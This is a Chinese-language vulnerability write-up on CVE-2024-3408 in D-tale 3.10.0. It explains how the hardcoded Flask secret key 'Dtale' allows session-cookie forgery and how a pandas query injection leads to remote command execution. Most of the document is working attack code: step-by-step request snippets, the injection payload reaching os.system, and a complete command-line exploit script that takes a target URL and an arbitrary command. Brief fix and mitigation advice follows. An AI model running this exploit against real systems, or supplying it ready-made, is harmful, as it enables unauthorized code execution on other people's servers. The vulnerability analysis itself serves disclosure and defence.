CVE-2024-3408 D-tale bypassRCE分析
字数 1646 2025-08-22 12:22:42
D-tale CVE-2024-3408 身份验证绕过与RCE漏洞分析
1. 漏洞概述
D-tale 是一个基于 Flask 和 React 的框架,主要用于查看和分析 Pandas 数据结构。该漏洞是一个组合漏洞,包含两个关键部分:
- 身份验证绕过:攻击者可以利用已知的 SECRET_KEY 伪造会话 cookie
- 远程代码执行(RCE):通过上传恶意 DataFrame 并操纵应用程序设置,攻击者可执行任意代码
2. 漏洞组件分析
2.1 身份验证绕过机制
Flask Session 机制
D-tale 使用 Flask 的 session 机制,其 session 生成依赖于 itsdangerous.URLSafeTimedSerializer 函数,涉及4个关键参数:
secret_key- 应用密钥salt- 固定值 "cookie-session"key_derivation- 设置为 "hmac"digest_method- 使用 SHA1 哈希算法
硬编码密钥问题
在 dtale-3.10.0 版本中,app.config["SECRET_KEY"] 使用了硬编码值 "Dtale",这使得攻击者可以:
- 完全预测 session 生成方式
- 伪造有效的 session cookie
- 绕过身份验证机制
2.2 远程代码执行机制
Pandas DataFrame 查询漏洞
漏洞核心在于 run_query 函数中对用户提供的 query 参数处理不当:
df.query(query if is_pandas25 else query.replace(local_dict=context_vars or {}, engine=engine)
当攻击者控制 query 参数时,可以通过 Pandas 的查询功能执行任意代码。
利用链分析
完整的攻击链如下:
- 伪造有效的 session cookie
- 上传恶意 CSV 文件获取 data_id
- 通过
/update-settings/<data_id>路由注入恶意查询 - 触发
/data-export/<data_id>路由执行查询 - 通过
df.query()执行任意代码
3. 漏洞利用步骤
3.1 环境准备
- 目标系统:运行 D-tale 3.10.0
- 攻击者需要:Python 环境及以下库:
itsdangerousrequestshashlibjsonurllib.parse
3.2 详细利用过程
步骤1:伪造 Session Cookie
import hashlib
from itsdangerous import URLSafeTimedSerializer
signer_kwargs = {
"key_derivation": "hmac",
"digest_method": staticmethod(hashlib.sha1)
}
session = URLSafeTimedSerializer(
"Dtale", # 硬编码的SECRET_KEY
salt="cookie-session",
signer_kwargs=signer_kwargs
).dumps({"logged_in": True, "username": "whatever"})
步骤2:上传恶意文件获取 data_id
import requests
url = "http://target:40000/dtale/upload"
files = {"poc.csv": ("poc.csv", b"A,B\n1,1\n", "text/csv")}
cookies = {"session": session}
rsp = requests.post(url, files=files, cookies=cookies)
data_id = rsp.json()["data_id"]
步骤3:注入恶意查询
import json
from urllib.parse import quote
cmd = "calc" # 要执行的命令
settings = {
"query": f'@pd.core.frame.com.builtins.__import__("os").system("""{cmd}""")'
}
encoded_settings = quote(json.dumps(settings))
update_url = f"http://target:40000/dtale/update-settings/{data_id}?settings={encoded_settings}"
requests.get(update_url, cookies=cookies)
步骤4:触发命令执行
trigger_url = f"http://target:40000/dtale/data-export/{data_id}"
requests.get(trigger_url, cookies=cookies)
4. 漏洞修复方案
官方在后续版本中通过以下方式修复了漏洞:
-
SECRET_KEY 随机化:不再使用硬编码密钥,改为生成10位随机数
-
输入验证:加强对用户提供的查询参数的验证
5. 防御建议
对于使用 D-tale 的用户:
- 立即升级到最新版本
- 如果无法立即升级,可采取以下临时措施:
- 修改默认 SECRET_KEY
- 限制对 D-tale 接口的访问
- 禁用不必要的路由
6. 技术细节补充
6.1 Pandas 查询注入原理
恶意查询利用了 Pandas 的 __import__ 内置函数和属性访问链:
@pd.core.frame.com.builtins.__import__("os").system("calc")
pd.core.frame.com.builtins访问 Pandas 内置函数__import__用于动态导入模块- 最终调用
os.system()执行系统命令
6.2 Flask Session 伪造细节
Flask session 伪造依赖于:
- 已知的 SECRET_KEY ("Dtale")
- 固定的 salt ("cookie-session")
- 已知的 key_derivation 方法 (hmac)
- 已知的 digest 方法 (SHA1)
这些信息都可以在 dtale 源代码中找到,使得伪造变得可行。
7. 完整利用脚本
import json
import hashlib
from argparse import ArgumentParser
from urllib.parse import quote
from requests import Session
from itsdangerous import URLSafeTimedSerializer
if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument("--url", default="http://target:40000")
parser.add_argument("--cmd", default="calc")
args = parser.parse_args()
url_base = f"{args.url}/dtale"
cmd = args.cmd
# 1. 伪造session
signer_kwargs = {
"key_derivation": "hmac",
"digest_method": staticmethod(hashlib.sha1)
}
session = URLSafeTimedSerializer(
"Dtale",
salt="cookie-session",
signer_kwargs=signer_kwargs
).dumps({"logged_in": True, "username": "whatever"})
with Session() as s:
s.cookies["session"] = session
# 2. 上传文件获取data_id
rsp = s.post(
f"{url_base}/upload",
files={"poc.csv": ("poc.csv", b"A,B\n1,1\n", "text/csv")}
)
assert rsp.json()["success"]
data_id = rsp.json()["data_id"]
# 3. 注入恶意查询
settings = {
"query": f'@pd.core.frame.com.builtins.__import__("os").system("""{cmd}""")'
}
settings = quote(json.dumps(settings))
rsp = s.get(f"{url_base}/update-settings/{data_id}?settings={settings}")
assert rsp.json()["success"]
# 4. 触发命令执行
s.get(f"{url_base}/data-export/{data_id}")
使用方式:
python exploit.py --url http://target:40000 --cmd "恶意命令"